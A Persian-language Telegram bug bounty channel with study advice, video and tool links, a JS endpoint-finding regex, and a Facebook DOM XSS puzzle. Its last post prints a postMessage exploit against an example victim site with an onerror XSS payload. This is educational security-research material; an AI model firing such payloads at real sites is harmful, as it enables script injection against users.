Bugbountyhints – Telegram
امروز یکم داشتم راجب خواب یه باگ هانتر تحقیق میکردم تهش هم با ai یه همچین چیزی رو بالا آوردم
ریکشن هارو باز کردم اگه علاقه دارید بگید بهم که سورس رو بزارم براتون بالا بیارید
sleep-patern.html
35 KB
برنامه ای در رابطه با اینکه چجوری میتونیم بهتر بخوابیم
Bugbountyhints
sleep-patern.html
اگه میخواید مطالعه عمیق تری داشته باشید میتونید به این لینک مراجعه کنید :

https://docs.google.com/document/d/1yT_xzBqwK4t8lcago0McLRhSlSRGG53D-BbtAwbcDak/edit?tab=t.0
چجوری یه آسیب پذیری رو عمیق بشیم یا case study کنیم :
1 - ریپورت هکروان
2 - رایتاپ
3 - مقاله های توضیحی اون آسیب پذیری
4 - گشتن تو توییتر در رابطه با اون آسیب پذیری ( مهم ) ***
5 - یوتوب
6 - لایو هانت اون آسیب پذیری ( تو یوتوب هست معمولا )
7 - لب های پورت سوییگر
8 - هانت کردن با استفاده از اون آسیب پذیری روی یه تارگت
9 - بالا آوردن آسیب پذیری به کمک ai و تست اون ( این کار خیلی کمک میکنه تا لاجیک پشت آسیب پذیری رو یاد بگیرید )
10 - تو یه آسیب پذیری مثل oauth سعی کنید کلی کیس مختلف رو بررسی کنید و فلو رو متوجه شید
این ماه هم تقریبا با ۲۲۰ ساعت کار تموم شد تمرکز اصلیم روی هانت کردن بود که دیگه شهریور بیشتر میرم سمت js و مدرن اپ ها
چنل این پسره خیلی خفنه و انگلیسیش هم طوریه که راحت میتونی متوجه بشی و حول محور هم باگ بانتیه
https://www.youtube.com/@ChillingAndTalking
و اگه بخوام یکی از ویدیو هاش رو هم معرفی بکنم :
https://www.youtube.com/watch?v=_d4qeufDcGY&pp=0gcJCa0JAYcqIYzv
در کل چنل باحالیه داشته باشینش
یه لیست از ویدیو های zseano که آماده کردم ببینمشون :‌

https://www.youtube.com/watch?v=8Sqp_kryB4E : live recon nahamsec with zseano
https://www.youtube.com/watch?v=-6tv1kvBZDQ : live mentoring 3h
https://www.youtube.com/watch?v=lfdLJIwgyOY : Mindset
https://www.youtube.com/watch?v=8U6bWXDCUjU&t=201s : live hacking on bugbounty notes
https://www.youtube.com/watch?v=jtFlbUUKL1Y : understanding and bypass fileters
https://www.youtube.com/watch?v=0jYeaFmivrY : presentation 1h
https://www.youtube.com/watch?v=fcAklNSta-U : nahamcon 2022
https://www.youtube.com/watch?v=us15nL2Hm2w&pp=ygUGenNlYW5v : staying sane in bugbounty
https://www.youtube.com/watch?v=UH6O13hHf5M : nahamsec with zseano recon,waf,javanoscript
برای بچهایی که manual کار میکنن zseano آدم درستیه برای دنبال کردن چون خودش هم اینجوریه که تایم زیادی رو تارگت ها میزاره و سعی میکنه یه فیچر رو بفهمه و اونقد رو اتومیشن نیست
فرق بین غرق شدن مفید ( productive rabbit hole ) و غرق شدن بی فایده ( unproductive rabbit hole ) چیه ؟‌

غرق شدن مفید (Productive rabbit hole): وقتی داری رو یه قسمتی دیپ میشی و درک خوبی به دست میاری و میدونی که میتونی به چیز های جدیدی دست پیدا کنی ( که میتونه یه باگ high-impact باشه و یا یه route ).

غرق شدن بی‌فایده (Unproductive rabbit hole): وقتی که فقط داری زمان می‌سوزونی بدون اینکه به چیزی برسی یا داری دنبال باگ های low-impact میگردی یا مسیرت به جایی ختم نمی‌شه (non-deterministic).

چجوری اینارو از هم تشخیص بدیم و تا درصد بالایی مطمعن بشیم که راهمون درسته ؟
1 - تا درصد خیلی زیادی به تجربه شما برمیگرده. شما وقتی ۱۰۰ تا فانکشن رو دیده باشید به ۱۰۱ امی که برسید میتونید متوجه بشید که آیا دیباگ کردن این فانکشن اصلا به درد میخوره یا نه ؟
2 - قبل از ادامه دادن بررسی کن آیا اصلا چیزی که قراره اینجا بهش برسم ارزشش رو داره یا نه ؟ (impact + clarity)
3 - اگه به چیزی برخوردی که فعلا به کارت نمیاد فقط نوت بردار تا بعدا برگردی بهش و بیشتر بررسیش کنی تا وسط هانت کردن کلا مسیرت عوض نشه.


خلاصه مطلب :‌ هرجایی نیاز نیست که عمیق بشید یه سری چیزا فقط وقتتون رو میگیره که با مرور زمان و بیشتر شدن تجربه و مواردی که بالا گفتم میتونید تشخیص بدید که چی بدرد میخوره و چی بدرد نمیخوره.
یه چند روزی هست که دارم Final-Collection-of-Advice از shreyaschavhan رو میخونم
چیز باحالی به چشمم خورد میزارم اینجا که شاید بدردتون بخوره
توی این Notion، شریاس چاوهان (shreyaschavhan) کلی مصاحبه و پادکست از هانترها و ریسرچرها رو دیده و نکات مهمشون رو جمع کرده.متن یکم طولانیه، اما پر از تجربه‌های ارزشمنده پیشنهاد می‌کنم حتماً بخونید :

https://shreyaschavhan.notion.site/Final-Collection-of-Advice-1fba53e4311980e9aceefb94085f11d4
امروز داشتم رو یه برنامه ای کار میکردم که وقتی user-Agent اندروید براش ست میکردی یه ui بالا میومد و اگه ویندوز بود یه ui و حتی برای ios هم یه ui جدا داشت. حالا با این اکستنشن میتونید کلی user-Agent مختلف برای مرورگرتون ست کنید.

Firefox : https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
Chrome : https://chromewebstore.google.com/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg?hl=en-US
این پلی‌لیست «Live Recon Sundays» از NahamSec فوق‌العادست کلی مصاحبه‌ و لایو هانت با هانترها و ریسرچرهای خفن داره.
لایو هانت هایی که با هانتر های مختلف انجام میده رو بهتون پیشنهاد میکنم.

https://www.youtube.com/playlist?list=PLKAaMVNxvLmAkqBkzFaOxqs3L66z2n8LA
Forwarded from Brut Security
☄️JSRecon-Buddy - A simple browser extension to quickly find interesting security-related information on a webpage.

🔴https://github.com/TheArqsz/JSRecon-Buddy
Please open Telegram to view this post
VIEW IN TELEGRAM
چجوری از فایل های .js میتونیم به اندپوینت برسیم ؟

1 - استفاده از رجکس :‌
grep -Eo '("|\')(/[^"']+)("|\')' *.js | sort -u


2 - پیدا کردن request های get و http Method های دیگه :
fetch("
axios.get("
{ method: "POST" }


3 - پیدا کردن بر اساس یه سری کلمات کلیدی :
API-related keywords like endpoint
url
request
fetch
ajax
GET
POST
XMLHttpRequest()


برای موارد بیشتر میتونید یه سر به این notion ای که ساختم بزنید :

https://snapdragon-copper-dd1.notion.site/Finding-Hidden-Endpoints-223a797be4c680889370c563ddb30f7a?source=copy_link
Bugbountyhints
این ماه هم تقریبا با ۲۲۰ ساعت کار تموم شد تمرکز اصلیم روی هانت کردن بود که دیگه شهریور بیشتر میرم سمت js و مدرن اپ ها
این ماه هم با ۱۳۹ ساعت کار تموم شد. اونجوری که باید پیش نرفت و کارای اداری و دیپلم دهنمون رو سرویس کرد
بریم که مهر ماه رو بترکونیم
سورس مپ جاوااسکریپت چیه ؟
سورس‌مپ‌های جاوااسکریپت عملاً نقشه‌ای از کدها قبل از obfuscation هستن. هر وقت سورس‌مپ رو داشته باشی کد فرانت‌اند خوانایی راحتی داره و دیباگ‌کردنش خیلی ساده‌تر و سرراست‌تر میشه.

تو این سایت هم میتونید source map رو آپلود کنید تا براتون مرتب اش کنه :
https://evanw.github.io/source-map-visualization/

لینک هایی برای مطالعه بیشتر :‌
Article-1
Article-2
Article-3
چجوری تو این کد میتونیم به Dom Xss برسیم ؟‌

__d("goURIOnWindow", ["ConstUriUtils", "FBLogger", "err"], (function(a, b, c, d, e, f, g) {
"use strict";
function a(a, b) {
var e = typeof b === "string" ? d("ConstUriUtils").getUri(b) : b;
if (e)
a.location = e.toString();
else {
a = "Invalid URI " + b.toString() + " provided to goURIOnWindow";
c("FBLogger")("comet_infra").blameToPreviousFrame().mustfix(a)
}
}
g["default"] = a
}
), 98);


بعد از اینکه تلاشتون رو کردید بشینید رایتاپش رو هم بخونید :

https://ysamm.com/2023/01/29/dom-xss-in-instant-games-due-to-improper-verification-of-supplied-urls.html
امروز داشتم یه ریپورتی در رابطه با postMessage میخوندم که دوست داشتم اینجا بازش کنم :
ما یه همچین listener ای رو داریم :
Receiver: function (e) {
var n, r = this.get("replaceRoute"), i = this.get("referrer");
if (!i || e.origin === normalize(i)) {
try { n = JSON.parse(e.data); } catch (u) {}
// ...
}
}

خب حالا مشکل این listener چیه ؟ توی این قسمت if (!i داره چک میکنه که اگه referrer خالی باشه این شرط پاس بشه و مشکلی نداره پس اگه referrer ما خالی باشه دیگه به شرط بعدی e.origin نمیرسه و نکته مهمی که اینجا هست اینه که توی postMessage هیچ هدر referrer ای ست نمیشه پس اگه من یه sender داشته باشم به راحتی میتونم به اینجا Message بفرستم.
پس کد sender ما میشه :
win = window.open("https://transact.victim.com/");
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "application_error",
model: { error: 500, noscript: "injected", message: "from attacker" }
}), "*");

حالا تو ادامه اش هم اومده بود یه route دیگه پیدا کرده بود که اونجا xss میخورد :
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "voucher.multi-product-details",
model: {
eligible: true,
sku: {
id: 0, longDenoscription: `
<img src=x onerror='alert(document.domain)'>`
}
}
}), "*");